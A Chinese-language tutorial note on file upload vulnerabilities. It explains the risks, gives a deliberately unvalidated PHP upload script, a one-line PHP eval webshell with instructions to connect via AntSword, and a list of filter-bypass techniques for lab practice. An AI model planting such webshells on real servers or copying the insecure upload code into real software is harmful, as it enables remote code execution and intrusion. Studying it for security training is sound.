1、概述
定义: 文件上传漏洞( Unrestricted File Upload)网站上传功能过滤不严格,导致用户可通过上传文
件对系统造成危害。
上传服务端可解析的脚本文件造成远程代码执行、上传超大文件造成拒绝服务、上传Html文件引发XSS等。
分类: Web通用漏洞
风险等级: 严重/中危
**危害:**上传文件Getshell/上传HTML文件实现XSS攻击、上传超大文件引发拒绝服务等
**常见功能点:**编辑器、头像修改、提交文章等。
漏洞示例:
<html>
<form action="http://127.0.0.1/upload.php"
method="POST" enctype="multipart/form-data">
<input name="a" type="file"></input>
<input name="b" ></input>
<input type="submit"></input>
</form>
</html>
<?php
var_dump($_POST['b']);
var_dump($_FILES);
move_uploaded_file($_FILES["a"]["tmp_name"],"
./upload/" . $_FILES["a"]["name"]);
?>
需要在同目录下创建一个upload文件夹
漏洞利用:
上传一个一句话木马,然后用蚁剑远程连接。
<?php eval($_POST['1'])?>
- 通过上传GetShell。对于服务器直接支持解析的文件格式,只需要上传该后缀的文件即可。这种
情况下的漏洞也被称作任意文件上传。 - 通过上传实现XSS攻击。上传HTML文件时,在其中插入XSS代码实现XSS攻击。
- 通过上传实现服务器拒绝服务。上传超大文件,或当服务器自动执行解压操作时,上传畸形的压
缩包文件实现拒绝服务。
文件上传+环境解析 = WebShell
文件上传+任意路径控制 = 文件覆盖(WebShell)
文件上传 - 环境解析 - 路径控制 = XSS
文件上传-环境解析+无大小限制=拒绝服务
2、学习内容
**目的:**上传Webshell到网站服务器,获得shell权限。
后门代码需要用特定格式后缀解析,否则无法执行(解析漏洞除外)
- 检测方式:前端(JS)、后端
- 检测内容:文件头、完整性、二次渲染等
- 检测后缀:黑名单、白名单、MIME检测等
- 绕过技巧:多后缀解析、截断、中间件特性、条件竞争等
MIME:文件类型(Content-Type)
3、分类 && 思路
-
代码端(网站自己写的)
常规上传抓包测试
-
中间件
根据中间件版本先找对应历史漏洞,后续测试配置不当漏洞
配置不当测试方法:?????待补充
-
编辑器
根据编辑器名称、版本找历史漏洞
4、靶场 / 练习
- ctfshow(或其他ctf平台)
- uplab